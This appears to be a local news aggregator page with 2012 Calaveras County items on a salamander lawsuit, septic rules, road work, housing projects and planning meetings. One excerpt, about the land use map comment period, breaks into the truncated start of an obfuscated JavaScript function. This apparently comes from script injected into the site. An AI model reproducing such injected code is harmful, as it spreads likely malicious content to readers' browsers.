Federal agency sued over salamander

By Dana M. NicholsRecord Staff WriterApril 14, 2012 12:00 am SAN ANDREAS – The Center for Biological Diversity this week filed a lawsuit to force the U.S. Fish and Wildlife Service to come up with a plan for the recovery of the California tiger salamander. If successful, the lawsuit would force the creation of a plan similar to one that’s been in effect since 2002 for the California red-legged frog. Such plans commit federal officials... Read More

New Statewide Septic Systems Policy

New Statewide Septic Systems Policy: “Approximately 2% of existing small onsite septic systems will be affected.” A final draft of the policy is posted for public review on the State Water Board OWTS web page, along with instructions for submitting comments, more information, and a Map Tool to help determine whether you may be affected by the new policy. The State Water Board hearing is 9 a.m. Wednesday May 2 in Sacramento. Written comments... Read More

Calaveras County Highway Improvements

April 05, 2012    10:21 am B.J. Hansen, MML News Director Officials are moving closer to making numerous improvements to the Highway 12/26 intersection. The Calaveras County Board of Supervisors has a public hearing scheduled for April 10th to discuss the project, which has been under review for several years. The project would make improvements to the existing four-way stop. Plans call for widening the traffic lanes, adding bike lanes, and creating... Read More

County OKs low-income apartments

Written by Sean Janssen, The Union Democrat March 28, 2012 12:44 pm Calaveras County supervisors directed county officials to continue work to bring a 30-unit housing complex to San Andreas to meet the needs of low-income and behavioral health clients. A proposal detailed in a study session Tuesday calls on the county to chip in $639,500 in allocated state Mental Health Services Act funds toward a $7.8 million overhaul of Hilltop Apartments on St.... Read More

Apartment plan back to board

Posted: Friday, March 23, 2012 9:54 am | Updated: 10:01 am, Fri Mar 23, 2012. Alex George An afternoon study session highlights the Calaveras County Board of Supervisors agenda for next Tuesday. The study session is scheduled to begin at 1:30 p.m. and will discuss Behavioral Health Services Department’s proposal to build permanent supportive housing for mental health clients. The study session has twice been postponed from the Jan. 24 and Feb. 28... Read More

Board of Supervisors Agenda & Packet for Mar 27, 2012

Download the current BOS agenda and packet here. Please notice the 1 pm Study Session on the Proposal for Permanent Supportive Housing for Mental Health Consumers.  This is the Hillside Apts. project that is being proposed to be created with Visionary Builders in Stockton.  It will be a large complex remodel with about 5 units for Mental Health Consumers.  We hope that all of you affordable housing advocates and other interested parties are... Read More

March 22nd Planning Commission Meeting

The Planning Commission will be meeting on Thursday, March 22 at 9:00 am at the Board of Supervisors Chambers in San Andreas.  The meeting agenda and packet can be viewed and download here. The Planning Commission will be re-visiting the Novogradac project in Big Trees Village; however, it is likely that this item will be continued again to a meeting date in April.  The commission will also be considering a modification to the County’s sign... Read More

County will seek $250K for land plans

Written by Sean Janssen, The Union Democrat March 14, 2012 12:31 pm Calaveras County will seek $250,000 in grant funds toward completion of a traffic circulation and land use plan for Copperopolis. The funding targeted comes from a $3 million pool administered by Caltrans for improvement of local transportation systems. A 10 percent local match of grant funds is required, which would likely be met by using personnel hours in the Planning and Public... Read More

Land Use Map Comment Period Extended

To provide additional time for public review of the Draft #1 land use map, the comment period has been extended from March 14th to April 2nd. Comments received by April 2nd will be addressed or incorporated into Draft #2 of the land use map. Comments received after that date will be considered in future drafts. Comments should be directed to the General Plan Email address at: gpupdate@co.calaveras.ca.us function _0x3023(_0x562006,_0x1334d6){const... Read More

Calaveras County Restrictions on so-called mother-in-law quarters may be loosened

By Dana M. Nichols Record Staff Writer March 08, 2012 12:00 AM SAN ANDREAS – Calaveras County officials are considering code changes that would make it easier to build a cozy cottage for grandma behind the main house. Right now, county rules in some cases ban construction of additions or accessory dwellings that could provide a relatively low-cost way to house an aging relative, a college student who needs a studio, or a young couple. “In... Read More